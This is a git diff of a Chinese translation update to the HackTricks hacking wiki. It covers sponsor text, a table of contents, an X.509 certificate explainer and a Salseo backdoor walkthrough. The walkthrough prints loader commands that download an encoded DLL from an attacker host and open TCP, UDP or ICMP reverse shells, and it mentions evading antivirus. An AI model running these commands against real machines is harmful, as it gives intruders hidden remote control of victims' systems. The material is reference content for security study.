Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

This commit is contained in:
Translator 2024-03-29 21:06:45 +00:00
parent 70dcb1883b
commit 484ee3e39f
157 changed files with 4689 additions and 3500 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 74 KiB

View file

@ -5,7 +5,7 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**欢迎来到这个维基,您将在这里找到我从CTFs、真实应用程序、阅读研究和新闻中学到的每个黑客技巧/技术/等等。**
**欢迎来到这个维基,您将找到我从 CTF、真实应用、阅读研究和新闻中学到的每个黑客技巧/技术/等等。**
{% endhint %}
要开始,请查看此页面,您将找到**在渗透测试一个或多个机器时应遵循的典型流程**
@ -40,11 +40,11 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** 是**欧洲第一**的道德黑客和**漏洞悬赏平台**。
**漏洞悬赏提示****注册** Intigriti这是一个由黑客为黑客创建的高级**漏洞悬赏平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的悬赏
**漏洞悬赏提示****注册** Intigriti这是一个由黑客创建的高级**漏洞悬赏平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的悬赏!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -52,7 +52,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。
@ -67,7 +67,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
@ -82,16 +82,34 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
***
### [Pentest-Tools.com](https://pentest-tools.com/) - 重要的渗透测试工具包
### [Pentest-Tools.com](https://pentest-tools.com/) - 专业渗透测试工具包
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
**立即获得漏洞评估和渗透测试的设置**。使用从侦察到报告的 20 多种工具和功能进行全面的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
**即时可用的漏洞评估和渗透测试设置**。从侦察到报告,使用 20 多种工具和功能在任何地方运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
SerpApi 提供快速简便的实时 API用于**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为您解析所有丰富的结构化数据。
订阅 SerpApi 的计划之一,即可访问 50 多个不同的 API用于抓取不同搜索引擎的数据包括 Google、Bing、百度、雅虎、Yandex 等。
与其他提供商不同SerpApi 不仅仅抓取有机结果。SerpApi 的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
当前的 SerpApi 客户包括 Apple、Shopify 和 GrubHub。
欲了解更多信息,请查看他们的[博客](https://serpapi.com/blog/)****或在他们的[**playground**](https://serpapi.com/playground)**中尝试示例**。
您可以在[**此处**](https://serpapi.com/users/sign\_up)**创建免费帐户**。
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -106,17 +124,16 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
[**WebSec**](https://websec.nl) 是一家位于**阿姆斯特丹**的专业网络安全公司,通过提供**现代**方法的**攻击性安全服务**,帮助**全球各地的企业**抵御最新的网络安全威胁。
WebSec 是一家**全方位的安全公司**他们做所有事情;渗透测试、**安全**审计、意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等。
WebSec 是一家**全方位的安全公司**意味着他们全面覆盖;渗透测试、**安全**审计、意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等。
关于 WebSec 的另一个很酷的事情与行业平均水平不同WebSec 对自己的技能非常有信心,以至于他们**保证提供最优质的结果**,在他们的网站上写着“**如果我们无法入侵,您就不用付费!**”。欲了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)
WebSec 的另一个很酷的地方与行业平均水平不同WebSec 对自己的技能非常有信心,以至于他们**保证提供最优质的结果**,在他们的网站上写着“**如果我们无法入侵,您就不用付费!**”。欲了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)
除了上述内容WebSec 还是 HackTricks 的**忠实支持者**。
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## 许可证和免责声明
**查看:**
**查看详情**
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -124,14 +141,14 @@ WebSec 是一家**全方位的安全公司**,他们做所有事情;渗透测
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -695,20 +695,26 @@
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -18,7 +18,7 @@
从github下载源代码并编译**EvilSalsa**和**SalseoLoader**。您需要安装**Visual Studio**来编译代码。
为将要使用它们的Windows系统架构编译这些项目如果Windows支持x64请为该架构进行编译)。
为将要使用它们的Windows系统架构编译这些项目如果Windows支持x64请为该架构编译
您可以在Visual Studio中的**左侧"Build"选项卡**中的**"Platform Target"**中**选择架构**。
@ -26,13 +26,13 @@
![](<../.gitbook/assets/image (132).png>)
然后构建这两个项目Build -> Build Solution日志中将显示可执行文件的路径):
然后构建这两个项目Build -> Build Solution日志中将显示可执行文件的路径
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## 准备后门
首先,您需要对**EvilSalsa.dll**进行编码。您可以使用python脚本**encrypterassembly.py**或编译项目**EncrypterAssembly**来执行此操作
首先,您需要对**EvilSalsa.dll**进行编码。您可以使用python脚本**encrypterassembly.py**或编译项目**EncrypterAssembly**
### **Python**
```
@ -41,20 +41,14 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
#### Salseo
Salseo is a backdoor that allows an attacker to maintain access to a compromised system. It is a simple backdoor that listens on a TCP port and executes commands sent by the attacker. The backdoor is written in C++ and compiled with Mingw-w64.
To use Salseo, the attacker needs to execute the backdoor on the target system. Once the backdoor is running, the attacker can connect to it using netcat or any other tool that allows connecting to a TCP port. The attacker can then send commands to the backdoor, which will be executed on the compromised system.
Salseo is a basic backdoor that can be used for educational purposes or as a starting point for more complex backdoors. It is important to note that using backdoors like Salseo on systems without authorization is illegal and unethical.
Windows系统是最常见的操作系统之一因此在渗透测试中经常会遇到。以下是一些常见的Windows后门技术
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
现在你已经拥有执行所有Salseo操作所需的一切**编码的EvilDalsa.dll**和**SalseoLoader的二进制文件。**
**上传SalseoLoader.exe二进制文件到机器上。它们不应该被任何杀毒软件检测到...**
**将SalseoLoader.exe二进制文件上传到机器上。它们不应该被任何杀毒软件检测到...**
## **执行后门**
@ -70,9 +64,9 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **获取 ICMP 反向 shell已经在受害者内部编码的 dll**
### **获取 ICMP 反向 shell编码的 dll 已经在受害者内部)**
**这次需要在客户端上使用一个特殊工具来接收反向 shell。下载** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**这次需要在客户端上使用一个特殊工具来接收反向 shell。下载** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **禁用 ICMP 回复:**
```
@ -95,19 +89,19 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
### 在主函数之前添加:\[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### 为此项目安装 DllExport
#### **工具** --> **NuGet 包管理器** --> **管理解决方案的 NuGet 包...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **搜索 DllExport 包(使用浏览选项卡),然后按安装(并接受弹出窗口)**
#### **在浏览选项卡中搜索 DllExport 包,并按 Install接受弹出窗口)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
您的项目文件夹中会出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat**
在项目文件夹中会出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat**
### **卸载 DllExport**
@ -121,7 +115,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
然后,转到您的 **SalseoLoader 文件夹** 并 **执行 DllExport\_Configure.bat**
选择 **x64**(如果您将在 x64 系统中使用它,这是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间** 中)并点击 **应用**
选择 **x64**(如果您将在 x64 系统中使用它,这是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间** 中)并 **应用**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -185,8 +179,8 @@ rundll32.exe SalseoLoader.dll,main
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**]收藏品(https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)****
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -8,13 +8,13 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,并由全球**最先进**的社区工具提供支持。\
@ -24,7 +24,7 @@
## 什么是证书
**公钥证书**是密码学中使用的数字身份证,用于证明某人拥有公钥。它包括密钥的详细信息、所有者的身份(主体)以及来自受信任机构(签发者)的数字签名。如果软件信任签发者并且签名有效,则可以与密钥所有者进行安全通信。
**公钥证书**是密码学中使用的数字身份证,用于证明某人拥有公钥。它包括密钥的详细信息、所有者的身份(主体)以及来自受信任机构(颁发者)的数字签名。如果软件信任颁发者并且签名有效,则可以与密钥所有者进行安全通信。
证书通常由[证书颁发机构](https://en.wikipedia.org/wiki/Certificate\_authority)CAs在[公钥基础设施](https://en.wikipedia.org/wiki/Public-key\_infrastructure)PKI设置中颁发。另一种方法是[信任网络](https://en.wikipedia.org/wiki/Web\_of\_trust),用户直接验证彼此的密钥。证书的常见格式是[X.509](https://en.wikipedia.org/wiki/X.509)可以根据RFC 5280中概述的特定需求进行调整。
@ -40,7 +40,7 @@
* **通用名称CN**:证书涵盖的域。
* **国家C**、**地点L**、**州或省ST、S或P**、**组织O**和**组织单位OU**提供地理和组织详细信息。
* **可分辨名称DN**封装了完整的主体标识。
* **发者**详细说明了谁验证并签署了证书包括与CA的主体类似的子字段。
* **发者**详细说明了谁验证并签署了证书包括与CA的主体类似的子字段。
* **有效期**由**Not Before**和**Not After**时间戳标记,确保证书在特定日期之前或之后不被使用。
* **公钥**部分对证书的安全性至关重要,指定了公钥的算法、大小和其他技术细节。
* **x509v3扩展**增强了证书的功能,指定了**密钥用途**、**扩展密钥用途**、**主体替代名称**和其他属性,以微调证书的应用。
@ -51,7 +51,7 @@
* **扩展密钥用途**进一步缩小了证书的用途范围例如用于TLS服务器身份验证。
* **主体替代名称**和**基本约束**定义了证书涵盖的附加主机名以及它是CA还是终端实体证书。
* **主体密钥标识符**和**颁发者密钥标识符**确保密钥的唯一性和可追溯性。
* **颁发者信息访问**和**CRL分发点**提供了验证颁发CA和检查证书吊销状态的路径。
* **颁发者信息访问**和**CRL分发点**提供了验证颁发CA的路径和检查证书吊销状态的途径。
* **CT预证书SCTs**提供透明日志,对证书的公共信任至关重要。
```python
# Example of accessing and using x509 certificate fields programmatically:
@ -76,19 +76,19 @@ print(f"Public Key: {public_key}")
```
### **OCSP和CRL分发点的区别**
**OCSP****RFC 2560**)涉及客户端和响应者共同工作,检查数字公钥证书是否已被吊销,无需下载完整的**CRL**。这种方法比传统的**CRL**更高效后者提供了吊销证书序列号列表但需要下载一个可能很大的文件。CRL可以包含多达512个条目。更多详细信息请参阅[此处](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)。
